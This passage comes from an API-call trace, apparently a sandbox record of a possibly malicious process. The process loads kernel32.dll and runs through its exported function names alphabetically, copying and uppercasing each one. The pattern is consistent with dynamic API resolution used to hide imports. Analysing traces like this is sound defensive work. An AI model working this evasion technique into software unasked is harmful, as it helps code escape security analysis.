dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.875] lstrlenA (lpString="kernel32.dll") returned 12 [0122.875] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0122.875] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0122.875] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0122.875] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0122.875] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0122.875] lstrlenA (lpString="ADDATOMA") returned 8 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0122.875] lstrlenA (lpString="ADDATOMW") returned 8 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0122.875] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0122.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0122.876] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0122.876] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0122.876] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0122.876] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0122.876] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0122.876] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0122.876] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0122.876] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0122.876] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0122.876] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0122.876] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0122.876] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0122.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0122.876] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0122.877] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0122.877] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0122.877] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0122.877] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0122.877] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0122.877] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0122.877] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0122.877] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0122.877] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0122.877] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0122.877] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0122.877] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0122.877] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0122.877] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0122.877] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0122.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0122.878] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0122.878] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0122.878] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0122.878] lstrlenA (lpString="BACKUPREAD") returned 10 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0122.878] lstrlenA (lpString="BACKUPSEEK") returned 10 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0122.878] lstrlenA (lpString="BACKUPWRITE") returned 11 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0122.878] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0122.878] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0122.878] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0122.878] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0122.878] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0122.878] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0122.878] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0122.878] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0122.878] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0122.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0122.878] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0122.879] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0122.879] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0122.879] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0122.879] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0122.879] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0122.879] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0122.879] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0122.879] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0122.879] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0122.879] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0122.879] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0122.879] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0122.879] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0122.879] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0122.879] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0122.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0122.880] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0122.880] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0122.880] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0122.880] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0122.880] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0122.880] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0122.880] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0122.880] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0122.880] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0122.880] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0122.880] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0122.880] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0122.880] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0122.880] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0122.880] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0122.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0122.880] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0122.881] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0122.881] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0122.881] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0122.881] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0122.881] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0122.881] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0122.881] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0122.881] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0122.881] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0122.881] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0122.881] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0122.881] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0122.881] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0122.881] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0122.881] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0122.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0122.882] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0122.882] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0122.882] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0122.882] lstrlenA (lpString="BEEP") returned 4 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0122.882] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0122.882] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0122.882] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0122.882] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0122.882] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0122.882] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0122.882] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0122.882] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0122.882] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0122.882] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0122.882] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0122.882] lstrlenA (lpString="CANCELIO") returned 8 [0122.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0122.883] lstrlenA (lpString="CANCELIOEX") returned 